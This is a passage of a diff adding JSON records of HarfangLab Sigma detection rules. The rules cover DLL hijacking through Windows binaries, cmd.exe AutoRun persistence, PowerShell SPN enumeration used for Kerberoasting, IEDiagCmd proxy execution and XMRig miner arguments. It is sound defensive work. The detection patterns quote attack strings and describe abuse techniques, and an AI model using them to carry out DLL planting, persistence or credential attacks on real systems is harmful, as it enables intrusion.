+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087493Z",
+  "creation_date": "2026-03-23T11:45:34.087495Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087499Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_camerasettings.yml",
+  "content": "title: DLL Hijacking via camerasettings.exe\nid: 50b47afd-ac3e-416b-8952-d95fdb3a39c5\ndescription: |\n    Detects potential Windows DLL Hijacking via camerasettings.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'camerasettings.exe'\n        ImageLoaded|endswith: '\\dui70.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "50b47afd-ac3e-416b-8952-d95fdb3a39c5",
+  "rule_name": "DLL Hijacking via camerasettings.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via camerasettings.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "50c34fde-abe0-424f-8a5b-4d6e76f40681",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627097Z",
+  "creation_date": "2026-03-23T11:45:34.627099Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627104Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1547/"
+  ],
+  "name": "t1547_persistence_registry_cmd_autorun.yml",
+  "content": "title: Cmd.exe Autorun Set\nid: 50c34fde-abe0-424f-8a5b-4d6e76f40681\ndescription: |\n    Detects when the cmd.exe AutoRun key is set in the registry.\n    The command specified in the registry details is executed each time a cmd.exe process is run on the system.\n    Attackers can register a malicious command to persist on the machine after compromising it.\n    It is recommended to investigate the content of the registry value to look for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1547/\ndate: 2020/09/28\nmodified: 2026/02/12\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n            - 'HKU\\\\*\\Software\\Microsoft\\Command Processor\\AutoRun'\n            - 'HKU\\\\*\\Software\\Wow6432Node\\Microsoft\\Command Processor\\AutoRun'\n            - 'HKLM\\Software\\Microsoft\\Command Processor\\AutoRun'\n            - 'HKLM\\Software\\Wow6432Node\\Microsoft\\Command Processor\\AutoRun'\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_miniconda:\n        # c:\\programdata\\miniconda3\\python.exe c:\\programdata\\miniconda3\\scripts\\conda-script.py init\n        # c:\\users\\xxx\\miniconda3\\python.exe c:\\users\\xxx\\miniconda3\\scripts\\conda-script.py init\n        # c:\\miniconda3\\python.exe c:\\miniconda3\\scripts\\conda-script.py init\n        ProcessCommandLine|contains|all:\n            - 'miniconda3\\python.exe'\n            - 'miniconda3\\scripts\\conda-script.py init'\n    exclusion_anaconda:\n        # c:\\programdata\\anaconda3\\python.exe c:\\programdata\\anaconda3\\scripts\\conda-script.py init\n        # c:\\users\\xxx\\anaconda3\\python.exe c:\\users\\xxx\\anaconda3\\scripts\\conda-script.py init\n        ProcessCommandLine|contains|all:\n            - '\\anaconda3\\python.exe'\n            - '\\anaconda3\\scripts\\conda-script.py init'\n\n    exclusion_various:\n        Details|contains:\n            - '\\condabin\\conda_hook.bat'\n            - '\\condabin\\mamba_hook.bat'\n\n    exclusion_image:\n        ProcessImage:\n            - '?:\\program files (x86)\\clink\\clink_x86.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\WindowsUpdateBox.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "50c34fde-abe0-424f-8a5b-4d6e76f40681",
+  "rule_name": "Cmd.exe Autorun Set",
+  "rule_description": "Detects when the cmd.exe AutoRun key is set in the registry.\nThe command specified in the registry details is executed each time a cmd.exe process is run on the system.\nAttackers can register a malicious command to persist on the machine after compromising it.\nIt is recommended to investigate the content of the registry value to look for malicious content.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2026-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "50d0aedb-3837-4993-b38c-dcd4b2e1cfd4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096185Z",
+  "creation_date": "2026-03-23T11:45:34.096187Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096191Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_appidpolicyconverter.yml",
+  "content": "title: DLL Hijacking via AppIDPolicyConverter.exe\nid: 50d0aedb-3837-4993-b38c-dcd4b2e1cfd4\ndescription: |\n    Detects potential Windows DLL Hijacking via AppIDPolicyConverter.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'AppIDPolicyConverter.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\msvcp110_win.dll'\n            - '\\srpapi.dll'\n            - '\\userenv.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "50d0aedb-3837-4993-b38c-dcd4b2e1cfd4",
+  "rule_name": "DLL Hijacking via AppIDPolicyConverter.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via AppIDPolicyConverter.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "50e48bae-efce-45a3-847c-595812fe453c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095151Z",
+  "creation_date": "2026-03-23T11:45:34.095153Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095157Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v=ws.11)",
+    "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/",
+    "https://attack.mitre.org/techniques/T1558/003/"
+  ],
+  "name": "t1558_003_enumerate_spn_via_powershell.yml",
+  "content": "title: Suspicious SPNs Enumeration via PowerShell\nid: 50e48bae-efce-45a3-847c-595812fe453c\ndescription: |\n    Detects the suspicious enumeration of Service Principal Names (SPNs) via PowerShell.\n    SPNs are used to uniquely identify each instance of a Windows service.\n    Attackers can extract the SPNs used in Active Directory to conduct attacks such as Kerberoasting.\n    It is recommended to analyze the parent process as well as other commands executed in the same PowerShell to look for malicious content or actions.\nreferences:\n    - https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v=ws.11)\n    - https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/\n    - https://attack.mitre.org/techniques/T1558/003/\ndate: 2022/08/17\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_1:\n        # https://beta.hackndo.com/service-principal-name-spn/\n        # https://www.saotn.org/list-spns-used-active-directory/\n        PowershellCommand|contains|all:\n            - 'DirectoryServices.DirectorySearcher'\n            - '[ADSI]'\n            - 'servicePrincipalName=\\*'\n            - 'GetDirectoryEntry()'\n            - '.servicePrincipalName'\n\n    selection_2:\n        # https://twitter.com/_wald0/status/1562871258190348289\n        PowershellCommand|contains|all:\n            - 'New-Object DirectoryServices.DirectorySearcher'\n            - '(&(objectcategory=user)(servicePrincipalName=\\*))'\n            - 'LDAP://'\n            - 'FindAll()'\n\n    selection_3:\n        # https://github.com/nullbind/Powershellery/blob/master/Stable-ish/Get-SPN/Get-SPN.psm1\n        PowershellCommand|contains|all:\n            - '$ObjSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry('\n            - 'LDAP://$($SearchDN)'\n            - '$Records = $ObjSearcher.FindAll()'\n            - '$_.properties.userprincipalname'\n            - '# Get number of SPNs for accounts, parse them, and add them to the data table'\n            - 'ServicePrincipalNames (SPN):'\n\n    condition: 1 of selection_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "50e48bae-efce-45a3-847c-595812fe453c",
+  "rule_name": "Suspicious SPNs Enumeration via PowerShell",
+  "rule_description": "Detects the suspicious enumeration of Service Principal Names (SPNs) via PowerShell.\nSPNs are used to uniquely identify each instance of a Windows service.\nAttackers can extract the SPNs used in Active Directory to conduct attacks such as Kerberoasting.\nIt is recommended to analyze the parent process as well as other commands executed in the same PowerShell to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-08-17",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1558.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "51195556-a3b2-47a1-b067-fefb536cee6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088564Z",
+  "creation_date": "2026-03-23T11:45:34.088566Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088570Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Iediagcmd/",
+    "https://research.checkpoint.com/2025/stealth-falcon-zero-day/",
+    "https://attack.mitre.org/techniques/T1574/008/"
+  ],
+  "name": "t1574_008_hijack_execution_flow_iediagcmd.yml",
+  "content": "title: Proxy Execution via IEDiagCmd.exe\nid: 51195556-a3b2-47a1-b067-fefb536cee6d\ndescription: |\n    Detects the execution of a malicious binary launched through the legitimate IEDiagCmd.exe utility.\n    IEDiagCmd.exe is a diagnostics utility for Internet Explorer that can be abused to proxy execution of arbitrary payloads.\n    When the \"%WINDIR%\" environment variable is modified and IEDiagCmd.exe is executed with the /out parameter, it attempts to load netsh.exe from a modified path (e.g. \"C:\\test\\system32\\netsh.exe\").\n    This behavior may indicate abuse of the IEDiagCmd LOLBin technique to execute attacker-controlled binaries through a trusted Windows process, bypassing security controls.\n    It is recommended to verify if the windir environment variable was modified prior to execution, and to examine the binary being executed to determine if this activity was legitimate.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Iediagcmd/\n    - https://research.checkpoint.com/2025/stealth-falcon-zero-day/\n    - https://attack.mitre.org/techniques/T1574/008/\ndate: 2025/06/13\nmodified: 2025/06/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1574.008\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.IEDiagCmd\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessParentOriginalFileName: 'IEDiagCmd.exe'\n        Image|endswith:\n            - '\\ipconfig.exe'\n            - '\\route.exe'\n            - '\\netsh.exe'\n            - '\\makecab.exe'\n\n    filter_legitimate:\n        Image:\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\System32\\route.exe'\n            - '?:\\Windows\\System32\\netsh.exe'\n            - '?:\\Windows\\System32\\makecab.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "51195556-a3b2-47a1-b067-fefb536cee6d",
+  "rule_name": "Proxy Execution via IEDiagCmd.exe",
+  "rule_description": "Detects the execution of a malicious binary launched through the legitimate IEDiagCmd.exe utility.\nIEDiagCmd.exe is a diagnostics utility for Internet Explorer that can be abused to proxy execution of arbitrary payloads.\nWhen the \"%WINDIR%\" environment variable is modified and IEDiagCmd.exe is executed with the /out parameter, it attempts to load netsh.exe from a modified path (e.g. \"C:\\test\\system32\\netsh.exe\").\nThis behavior may indicate abuse of the IEDiagCmd LOLBin technique to execute attacker-controlled binaries through a trusted Windows process, bypassing security controls.\nIt is recommended to verify if the windir environment variable was modified prior to execution, and to examine the binary being executed to determine if this activity was legitimate.\n",
+  "rule_creation_date": "2025-06-13",
+  "rule_modified_date": "2025-06-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "51361589-98fe-4662-a6f3-76ae1ba32fe2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086274Z",
+  "creation_date": "2026-03-23T11:45:34.086276Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086281Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_musnotification.yml",
+  "content": "title: DLL Hijacking via musnotification.exe\nid: 51361589-98fe-4662-a6f3-76ae1ba32fe2\ndescription: |\n    Detects potential Windows DLL Hijacking via musnotification.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'musnotification.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\UpdatePolicy.dll'\n            - '\\UPShared.dll'\n            - '\\USERENV.dll'\n            - '\\WINHTTP.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "51361589-98fe-4662-a6f3-76ae1ba32fe2",
+  "rule_name": "DLL Hijacking via musnotification.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via musnotification.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "515b9032-e1d4-442f-8fc9-0b5ee25854c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613795Z",
+  "creation_date": "2026-03-23T11:45:34.613799Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613806Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://xmrig.com/docs/miner/command-line-options",
+    "https://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "t1496_xmrig_cryptominer_commandline_args_linux.yml",
+  "content": "title: Possible XMRig Execution (Linux)\nid: 515b9032-e1d4-442f-8fc9-0b5ee25854c3\ndescription: |\n    Detects suspicious command-line arguments commonly associated with XMRig execution.\n    XMRig is an open-source cryptocurrency mining software often abused by adversaries to mine Monero on infected systems.\n    It is recommended to investigate the source of such arguments, monitor for irregular mining activity, analyze the process chain leading to the execution, and review network traffic.\n    Consider terminating suspicious processes and isolating the affected system for further analysis.\nreferences:\n    - https://xmrig.com/docs/miner/command-line-options\n    - https://attack.mitre.org/techniques/T1496/\ndate: 2022/11/15\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1496\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.CryptoMiner.XMRig\n    - classification.Linux.Behavior.CryptoMiner\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains:\n            - ' --rig-id'\n            - ' --argon2-impl'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "515b9032-e1d4-442f-8fc9-0b5ee25854c3",
+  "rule_name": "Possible XMRig Execution (Linux)",
+  "rule_description": "Detects suspicious command-line arguments commonly associated with XMRig execution.\nXMRig is an open-source cryptocurrency mining software often abused by adversaries to mine Monero on infected systems.\nIt is recommended to investigate the source of such arguments, monitor for irregular mining activity, analyze the process chain leading to the execution, and review network traffic.\nConsider terminating suspicious processes and isolating the affected system for further analysis.\n",
+  "rule_creation_date": "2022-11-15",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5189d993-9c1a-40b7-981c-00057f326e96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
